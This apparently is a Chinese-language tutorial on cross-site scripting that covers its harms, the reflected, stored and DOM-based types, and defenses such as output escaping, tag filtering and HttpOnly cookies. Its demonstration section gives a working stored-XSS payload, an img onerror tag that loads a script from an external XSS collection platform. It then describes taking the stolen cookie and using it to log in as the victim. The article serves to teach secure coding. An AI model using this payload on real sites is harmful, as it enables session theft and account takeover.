1、XSS
XSS（Cross Site Scripting）攻击全称跨站脚本攻击，为了不与CSS(Cascading Style Sheets)混淆，故将跨站脚本攻击缩写为XSS，XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
通俗的来说就是我们的页面在加载并且渲染绘制的过程中，如果加载并执行了意料之外的程序或代码（脚本、样式），就可以认为是受到了 XSS攻击。
-
XSS更多是发生在web前端的一种漏洞，所以危害的对象主要还是前端用户。
XSS
2、XSS的危害
- 挂马。
- 盗取用户Cookie、账号等信息。
- DOS（拒绝服务）客户端浏览器。
- 前端JS挖矿。
- 钓鱼攻击，高级的钓鱼技巧。
- 删除目标文章、恶意篡改数据、嫁祸。
- 劫持用户Web行为，甚至进一步渗透内网。
- 爆发Web2.0蠕虫。
- 蠕虫式的DDoS攻击。
- 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
3、XSS分类
-
反射型：
也叫非持久型XSS，交互数据一般不会被存在数据库里面，一次性，所见即所得。一般XSS代码出现在请求URL中，作为参数提交到服务器，服务器解析并响应，响应结果中包含XSS代码，最后浏览器解析并执行。场景：
1、用户A给用户B发送一个恶意构造了Web的URL。
2、用户B点击并查看了这个URL。
3、用户B获取到一个具有漏洞的HTML页面并显示在本地浏览器中。
4、漏洞HTML页面执行恶意JavaScript脚本，将用户B信息盗取发送给用户A，或者篡改用户B看到的数据等。
反射型XSS
-
存储型：
也叫持久型XSS，主要将XSS代码提交存储在服务器端（数据库，内存，文件系统等），下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时，XSS代码会从服务器解析之后加载出来，返回到浏览器做正常的HTML和JS解析执行，XSS攻击就发生了。
场景：
1、用户A在网页上创建了某个账户，并且账户信息中包含XSS代码。
2、用户B访问该网站查看XSS代码账户详情页面。
3、服务端返回账户详情页面，和带XSS账户信息。
4、用户B浏览器执行XSS代码，将用户B信息盗取发送给用户A，或者篡改用户B看到的数据等。
存储型XSS
-
DOM型
一种特殊的反射型XSS。由客户端的脚本程序可以动态地检查和修改页面内容，而不依赖于服务器端的数据。一般从url中提取数据中含xss，未过滤并在本地执行dom的渲染操作，输入来源多是document.location、document.URL、document.URLUnencoded、document.referrer、window.location等，而触发api多是document.write()、document.writeln()、document.innerHtml、eval()、window.execScript()、window.setInterval()、window.setTimeout()等。
场景：
1、用户B访问网站url中带有XSS代码参数。
2、浏览器下载该网站JavaScript脚本。
3、JavaScript脚本有个方法获取URL中XSS代码参数，并且用innerHtml渲染在dom中。
4、触发XSS代码，造成XSS攻击，cookie数据失窃。
DOM型XSS
4、示例分析
1、入参不严谨，对入参没做任何规则校验。
2、用参太随意，对未知参数未过滤，直接丢给dom操作。
漏洞演示：机密性 - 窃取用户cookie信息
-
步骤1：借助https://xss.fbisb.com平台，创建项目test
步骤1 步骤2：再利用平台提供的xss代码：https://xss.fbisb.com/JGtp
-
步骤3：新建含xss代码的账户：<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='xss代码的url';>步骤3
-
步骤4：别的用户登录查看包含该账户名的日志信息，触发XSS步骤4
-
步骤5：fbisb.com平台获取到用户cookie信息步骤5
步骤6：利用无痕浏览器访问目标网站，将cookie信息写入，免登陆进入平台
5、如何避免XSS攻击
- innerHTML（原生）、v-html（vue）、dangerouslySetInnerHTML（react）等直接渲染html的函数慎用，确保渲染的数据是由前端写死的、无危害的才可直接使用；
- 使用innerHTML（原生）、v-html（vue）、dangerouslySetInnerHTML（react）等直接渲染html的函数渲染请求数据时，需要先把字符串转义：
1)、把 > 替换成>
2)、把<替换成<
3)、把 & 替换成&``;
4)、把 " 替换成"``;
5)、把 ' 替换成'``; - 字符过滤：
1)、过滤掉特殊的HTML标签，例如<script>、<iframe>等；
2)、过滤掉Javascript事件标签，例如"onclick"、"onfocus"等； - Http Only cookie；
- 输入检查：对产品输入要求格式严谨检查过滤；
6、讨论&思考
1.学习规范安全编码
根在人为，如果没有规范的学习过前端知识，特别是安全规范知识，直接跨端做前端开发的时候，很多时候知道一个功能怎么去实现，然后百度找api，找到api发现可以使用即可，通常会发生为了实现功能而忽略安全。所以我们在找到可用api时，还得查历该api是否存在安全隐患，需要如何规避、或者有其他更安全的api。
2.对不可信数据保持敏感
对于任何非前端代码数预置数据，保持敏感对待，是否用于dom操作渲染，如果是则需要做相应的过滤处理，或者换其他安全实现方式。
